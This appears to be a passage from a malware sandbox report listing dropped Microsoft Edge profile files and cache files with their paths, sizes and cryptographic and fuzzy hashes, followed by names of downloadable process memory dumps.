T18272F9056A249D7B8CDFD209FA55BF93D2F91273A1505E48AAFC9B0C00E67ED211382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 d9989084df0629c146031146f69e84efeb6340b22c646e637af4d8e7c435544c
MD5 baf46c0d1f50fc9259f21ce689b9f6d7
SHA1 3f4c573923712c0b2d9b51ce13158de171ffe476
SHA512 fc2f6fcb5ac364eba8340716b05a520fd7cd344e550acad16aa00bbfb27a952654fce5d23460c0fc035e261621015b9587b9abba2237fbf2c38a43c91a9255e0
SSDEEP 384:sxRzzqhQ/frslaIN/RIEKB/5tfWxAsGQM3S:s3OhQ/f8PWD/5xWxAsGQF
TLSH
T1BE72E8159A249D7B8CDBD209FA957F53D2F9126391501E48AAFC9B0C00E67ED610382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 81f2b76c2340eaae41654d37a1943f1c07320d6d3aac5d535c68e7a444d00a89
MD5 345adcb5313e8dc627a1e6ccfe3520bc
SHA1 fd8399d95a5cd3d7b2a29a967c7ab55480d785b9
SHA512 c8de9c2479e97dbf9b5eae03679a3540524e1406eba2d52e940794a173bdb79f2a682ba38b4a96e04e96c30af8faef79bb724876a202703b3e43585beba00efc
SSDEEP 768:Ob4YZx7pLuL7yTWg1NfwB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVUobbDwzroC4q:Ob4YZnE7yTWg1NfwBu1janobHwAtq
TLSH
T14CE2EB3B680CCB7E4F804ADDEC29BD8A6DA8018F5AD8895447FA850C03C6BEB55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 8f5cfe28b44481b83f7d72bee9dd452a7efaf4a93cf3ebba55a8ba138edbcc2a
MD5 045979424247ee67d0b5395d78f03b03
SHA1 f58806155165304af762165e15a3d6a32a4c4e97
SHA512 1b050be899b09f4dd6ac29eb0655ed932e906773030166b09c2615959b81432ae9a3572cf635b008eae5771cd8193f6dbc2ffd65cc7b88efaa57c4179c8ae2f7
SSDEEP 384:yv+Rp0nYrnhZZuJCXHnbB1S/HqlcDDRPbIhJ9H9A:yv+Rp0nYrnhZZuJCXHnbB1S/HqlcDDRr
TLSH
T1FCB25C11753F4290387EA90C81B8981F96C2B4637519F53F7BA802A65F67E039DFE8C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 8b0884b19a88b74a38584e056d5e453a0384873497dd0e068dd0810e0a4a9db0
MD5 3e9247c60d0b22a16fedaa914c4cbed4
SHA1 14c71b3bd180edf02c120f18fc359666be6f0c69
SHA512 54935a47ad0a5692c5a84f7d39d09e78ef83faa21ec4219651be6afe2e90ef5f19d83b7ef353db4c73550eec04ce327c99ebb0d61a53c3a200fc7410b1a8477e
SSDEEP 384:nziFiZcIc8NL58TUNTUlIRnPvuTi1C2EqfbzGYnxmruo0BeRs9JKgqijUGy88LE4:eFQcQ5wg1uWCEGYxIV0TjKgqmUGA
TLSH
T11FF2C2F198D78977E8AE4B87637D2E429AFCC163B4885994B7C85D0CCC461BFD30A816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 65306b71f967e10f1acd1e714bbe43a902448b382fc1c8da3caba9de5a9564f9
MD5 bd34bc6a71506c03a4837fbcc52cfd06
SHA1 419a0825fb3f67cb1b797ed9218295e954657376
SHA512 7d3e7c91d75290677f33b1c12e033800c56a660d41eadf998e16c72650aa4756565e82a0ac65860f0b8a056e894f335101ac1f1b35da3b078ba20e8b01ab5e3e
SSDEEP 384:neiF1tNn/s3n9Sn8Ng98TUNTUlIRiPvuTuHREqfbzGYnDLbOObjI9G6w72D8LEE7:1F1j+9SX9wgUu8XGYHb29M20
TLSH
T1B6C26B36EC59CEB7ECEA4F99B34A3646EEE0126785D86AC4EAC85D4C00C75DD4307C1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 98e028d2817fd8ded8d82d8c30333bce3b08b3cfa20134a10abef6d569eb8a34
MD5 d9112e50c8fbbe598eb5ffcc4fd22566
SHA1 4bb5bbe8dedf1482c7fa41e672fd43ea5e5f0188
SHA512 7a963ec96640a1c5fd4857d47639f2e256256bb3d58a6090c24b4b42cc94c301cc6a05b3fe76204db4af9d77591b0f21f3c8af456e0ffcc487bff72e8936e518
SSDEEP 384:naiFiZcI58NL58TUNTUlIRnPvuTioC2EqfbzGYnxmr7g0BeRs9JKgqijUGy88LE4:RFQ5Q5wg1uvCEGYxIU0TjKgqmUGA
TLSH
T1CDD28D31D864DAB7E8EE9EC4B64A7246EEF01163C5CC9ED8E5D95D0C00875DE170BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 edb65f6e5520a7a046a7ec21d185d5070dcbdb98180c48d9472fd6ee7dcf8f3f
MD5 97cf487d77ca076e26f3e3dccc1f6002
SHA1 c5cd4cc2ff0deee9040f34d869d790a614fa62a3
SHA512 045e54b9cd837effe5385a25bf37a376ceffba87d05ae354bf182cd0f703e91e268ac80187ec0bc54a85c7bc443987550d780bb9f95507066f5f2b4a5df7aa8c
SSDEEP 384:nIiF1tNn/s3n9Sn8NL58TUNTUlIRiPvuTi55EqfbzGYnxmrpk0OObjI9G6w72D8H:TF1j+9SQ5wgUu2vGYxIu029M20
TLSH
T1DAD26C32EC55CEB7ECDA4F98B24A3696EEF41263849C5AD4E6C95D4C00CB2DD470BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 da17d536777f7ad4907e67b45fafee6faa47a6fef1eefefafaa0dd14c9092625
MD5 8510185a30eec9ecd0aa4f2c34c8a50d
SHA1 b01856376ebc8436016bea7e8710453a0794fcfb
SHA512 3a8b27bccecc802e77c89ae50ceb7142f0dde5383bc27b036c4a647b7f5d28c36adfbe9487f625888c5b69b37aedbfa0dc821c438c5e0e7720cc271b9d0819d8
SSDEEP 384:nIiFiZcI58NL58TUNTUlIRnPvuTioC2EqfbzGYnxmr7g0BeRs9JKgqijUGy88LE4:TFQ5Q5wg1uvCEGYxIU0TjKgqmUGA
TLSH
T1E2D27C31D864CAB7E8EE9EC4B64A7646EEF01163C5CC9ED8E5D95D0C00875DE170BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 fc8158bcac0e1a43c912e8899e7f1c5e1d622db63f0096f7ece6833f081442b6
MD5 35a224c2ab78a8e4de46ffe2bbfff98c
SHA1 5bf2c935d683009baad6b104386ca6a2df08bfcd
SHA512 a0cef6559aa65787fb88ba8f2a20f8d8f87fa2a86afadf9c255bd6df6083efb477762c29e4417fd191353f39724da6b875183e140872a4617e941adfbaeb280e
TLSH
T1A8512DE04C3C1AD1D4FD0E7EB44B78FC85EC9726F89434386858EA985A7A61D309483F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 8cff74c43fa7f1f0b2daff8f636aebd2c3d4c40d52491eda840f8eebeb107909
MD5 3895f41cafb4e7f8e1735dc10b4616c5
SHA1 7c3d96029078baff4f0108642d47b4930cd6f859
SHA512 14324c06eed8d4d36fd3373df324a51dd535263ef9f86c9f1ee663e9f4c82b1d468761b329d9503c7007a4cc1cfd53d536f9bfd36d9232fce198969ca88e8b72
TLSH
T1595120E04C3C1AD1D5FD0E7EB48B79FC86E89722F49434386868EA58597A31D349483F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 5b13b6fcdf04fb96e793406611cf7bea4f0b25a21e6210ff6fcfb1601d456cec
MD5 12233c6bdb79fb5af7e57b25da973536
SHA1 34747b1c27534b8b74cbfee6a2a11d96508d27a4
SHA512 dbd9a12f0c15dfb739a20974af92acf153e278d3895c5b3771f558fd6665e280e51d7fd4931709d73557d9ed82792f579b34710e934cb9cfe292599545ab1b56
TLSH
T153512DE04C381AC1D4BD0E7FB45B78FC85E8C726F490343D6858EA985A7A65D309483F
MD5 SHA1 SHA512 TLSH

Submit Download

299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
Size 153KB
SHA256 299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
MD5 c4a20d073fe58488935da829aae6fa17
SHA1 dbd31aa3dcd1abd3d554d29a9bca83bab02709d5
SHA512 61f74480d3471180f14e2171be6f5e33ab0a03a7a4837334695556a9484da1a862cc059969834d4950a038ec97f192805e5e718cd2a280aba675bdc9cee5d976
SSDEEP 3072:C0qfZ9r+hy+exmKhRts8o7SYbyqNDri8EBalnQt9RaBoAkaX2Ns:C0qfZ9r5msvoOGi8QQQbRwxmNs
TLSH
T126F3E02D6EDEC956CC0F61F96F29724BC50A4F0B818B648B624E881958F434E17E29FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 132B
SHA256 ea13d57b11af249f90704dbcafd354c5e80b10358db7edb9eaf8f6fd597eb1d4
MD5 ae3a19c226264ff6cb64877f1e7e7243
SHA1 f993431dbd09200fd92b7a04ee6711a54ad95cc9
SHA512 97e5dbf0663585afbb5e0f2b5a36192624eb2c898462abef65225987df632d30f74f05ac5a71175c4c59f75d9ae6d2e640d168e479cb26b9a6857c71efda029a
TLSH
T1C1C02B85CB1E0C854E78153D48420B2727819F0030508534445A490C41741CE00888CF
MD5 SHA1 SHA512 TLSH

Submit Download

memory/108-616-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/200-541-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/472-652-0x0000000000450000-0x000000000048E000-memory.dmp

Download

memory/1620-655-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2168-181-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2736-638-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2868-154-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2888-558-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3432-517-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4256-650-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4324-461-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4704-508-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4936-600-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5180-317-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5180-496-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5504-576-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5944-503-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6220-604-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6480-588-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6556-512-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6888-201-0x0000000000010000-0x0000000000083000-memory.dmp

Download